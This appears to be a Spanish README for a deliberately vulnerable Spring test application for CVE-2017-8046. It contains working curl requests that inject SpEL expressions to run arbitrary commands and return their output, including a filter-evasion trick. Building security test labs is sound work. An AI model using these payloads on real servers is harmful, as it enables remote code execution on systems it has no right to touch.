
ADVERTENCIA: Esta es una aplicación vulnerable para probar el exploit de la vulnerabilidad Spring Break (CVE-2017-8046). ¡Ejecútela bajo su propio riesgo!
Esta es una aplicación vulnerable para probar el exploit de la vulnerabilidad Spring Break (CVE-2017-8046).
Esta aplicación contiene graves vulnerabilidades de seguridad. ¡Ejecútela bajo su propio riesgo! Se recomienda usar un entorno respaldado y aislado (como una máquina virtual con una instantánea reciente y redes solo anfitrión). No suba esta aplicación a ningún servidor expuesto a Internet, ya que se verán comprometidos.
DESCARGO DE RESPONSABILIDAD: No me hago responsable de la forma en que alguien use esta aplicación (SpringBreakVulnerableApp). El único propósito de esta aplicación es ser un escenario de prueba para el exploit de Spring Break y no debe usarse de forma maliciosa. Si su servidor se ve comprometido mediante una instalación de SpringBreakVulnerableApp, no es mi responsabilidad, es responsabilidad de la(s) persona(s) que lo subieron e instalaron.
La aplicación se puede lanzar con el siguiente comando Maven.
mvn spring-boot:run
Se puede generar un fat jar con el siguiente comando Maven.
mvn clean install spring-boot:repackage
Para insertar datos puede usar el siguiente comando curl.
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity
Probablemente el exploit más simple es la siguiente solicitud.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"
En Windows, el proceso calc.exe se puede lanzar con la siguiente solicitud. Se pueden usar solicitudes similares para lanzar comandos arbitrarios.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Para obtener la salida de los comandos lanzados, se pueden usar algunos "gadgets" ofrecidos por el código de Spring Framework. Afortunadamente, no se requieren dependencias externas. Por ejemplo, el resultado del comando ipconfig se puede recuperar con la siguiente solicitud.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
En Windows, se puede lanzar un comando cmd /c dir y otros comandos similares con la siguiente solicitud. Tenga en cuenta el truco utilizado para insertar el carácter de barra evitando el valor explícito (es decir, las barras explícitas se reemplazan con puntos antes del análisis real).
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Se puede encontrar un programa Java para explotar esta vulnerabilidad aquí.
Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE.txt para más detalles.